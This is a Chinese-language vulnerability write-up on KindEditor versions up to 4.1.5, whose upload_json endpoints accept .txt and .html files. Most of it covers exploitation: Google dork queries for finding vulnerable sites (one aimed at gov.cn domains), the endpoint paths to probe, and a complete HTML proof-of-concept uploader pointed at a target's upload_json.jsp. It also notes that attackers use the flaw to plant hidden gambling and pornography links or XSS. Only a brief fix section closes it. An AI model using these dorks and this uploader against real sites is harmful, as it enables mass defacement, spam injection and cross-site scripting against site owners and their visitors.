0x00 漏洞描述
漏洞存在於kindeditor編輯器里,你能上傳.txt和.html文件,支持php/asp/jsp/asp.net,漏洞存在於小於等於kindeditor4.1.5編輯器中
這里html里面可以嵌套暗鏈接地址以及嵌套xss。Kindeditor上的uploadbutton.html用於文件上傳功能頁面,直接POST到/upload_json.*?dir=file,在允許上傳的文件擴展名中包含htm,txt:extTable.Add("file","doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2")
0x01 批量搜索
在google中批量搜索:
inurl:/examples/uploadbutton.html inurl:/php/upload_json.php inurl:/asp.net/upload_json.ashx inurl://jsp/upload_json.jsp inurl://asp/upload_json.asp inurl:gov.cn/kindeditor/
0x02 漏洞問題
根本腳本語言自定義不同的上傳地址,上傳之前有必要驗證文件 upload_json.* 的存在
/asp/upload_json.asp /asp.net/upload_json.ashx /jsp/upload_json.jsp /php/upload_json.php
可目錄變量查看是否存在那種腳本上傳漏洞:
kindeditor/asp/upload_json.asp?dir=file kindeditor/asp.net/upload_json.ashx?dir=file kindeditor/jsp/upload_json.jsp?dir=file kindeditor/php/upload_json.php?dir=file
0x03 漏洞利用
google搜素一些存在的站點 inurl:kindeditor
1.查看版本信息
http://www.xxx.org/kindeditor//kindeditor.js

2.版本是4.1.10可以進行嘗試如下路徑是否存在有必要驗證文件 upload_json.*
kindeditor/asp/upload_json.asp?dir=file kindeditor/asp.net/upload_json.ashx?dir=file kindeditor/jsp/upload_json.jsp?dir=file kindeditor/php/upload_json.php?dir=file
3.如下圖可以看出是存在jsp上傳點:
http://www.xxx.org/kindeditor/jsp/upload_json.jsp?dir=file

4.寫出下面的構造上傳poc,這里需要修改<script>...<script>以及url : 的內容,根據實際情況修改.
<html><head> <title>Uploader</title> <script src="http://www.xxx.org/kindeditor//kindeditor.js"></script> <script> KindEditor.ready(function(K) { var uploadbutton = K.uploadbutton({ button : K('#uploadButton')[0], fieldName : 'imgFile', url : 'http://www.xxx.org/kindeditor/jsp/upload_json.jsp?dir=file', afterUpload : function(data) { if (data.error === 0) { var url = K.formatUrl(data.url, 'absolute'); K('#url').val(url);} }, }); uploadbutton.fileBox.change(function(e) { uploadbutton.submit(); }); }); </script></head><body> <div class="upload"> <input class="ke-input-text" type="text" id="url" value="" readonly="readonly" /> <input type="button" id="uploadButton" value="Upload" /> </div> </body> </html>
5.用瀏覽器打開,然后開啟bupsuit進行攔截發送,可以看到成功上傳txt文件



6.同時也可以上傳.html文件,這里就是攻擊者最喜歡上傳的文件(里面包含了各種暗頁連接地址,如菠菜和其他色情站點鏈接地址)


0x04 漏洞修復
1.直接刪除upload_json.*和file_manager_json.*
2.升級kindeditor到最新版本